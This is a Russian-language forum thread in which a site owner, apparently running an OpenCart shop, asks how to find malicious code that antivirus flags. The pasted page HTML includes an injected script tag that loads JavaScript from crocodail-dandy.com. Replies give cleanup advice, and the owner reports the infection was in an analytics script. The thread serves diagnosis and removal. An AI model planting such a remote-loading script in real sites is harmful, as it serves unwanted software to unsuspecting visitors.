Вредоносный код на сайте

Стал ругаться Касперский, что загружается нежелательное ПО на сайте,
На главной странице присутствует код

<link href="catalog/view/javascript/bootstrap/css/bootstrap.min.css" rel="stylesheet" media="screen"> <link href="catalog/view/theme/unishop/stylesheet/stylesheet.css?v=2.5.0.0" rel="stylesheet" type="text/css" media="screen"> <link href="catalog/view/theme/unishop/stylesheet/font-awesome.min.css" rel="stylesheet" type="text/css" media="screen"> <link href="catalog/view/theme/unishop/stylesheet/elements_0.css?1720340848425" rel="stylesheet" type="text/css" media="screen"> <link href="catalog/view/theme/unishop/stylesheet/article_by_category.css" type="text/css" rel="stylesheet" media="screen"> <link href="catalog/view/theme/unishop/stylesheet/notification.css" type="text/css" rel="stylesheet" media="screen"> <link href="catalog/view/theme/unishop/stylesheet/subscribe.css" type="text/css" rel="stylesheet" media="screen"> <link href="catalog/view/theme/default/stylesheet/sdek.css" type="text/css" rel="stylesheet" media="screen"> <link href="catalog/view/theme/default/stylesheet/tabvideo.css?v=35" type="text/css" rel="stylesheet" media="screen"> <script async="" src="https://mc.yandex.ru/metrika/tag.js"></script><script type="application/javascript" src="https://crocodail-dandy.com/9wNxPH?return=js.client&amp;&amp;se_referrer=https://a.pr-


Как найти скрипт в котором загружается этот crocodail-dandy.com?
Файлы сайта откатывал из резервной копии, когда точно еще не было проблем не помогло.
Естественно ни в файлах ни в базе этого crocodail нет, идет откуда то извне

 

Смотрите header, окмоды, пробуйте отключать модули и т.д.

 

В папке storage/modification/, которая выше корневой папки сайта искали?
После восстановления из бэкапа обновлялм кэш модификаторов?

 

Тема уже решена

 

да, всем спасибо за помощь. вирус сидел в скрипте аналитики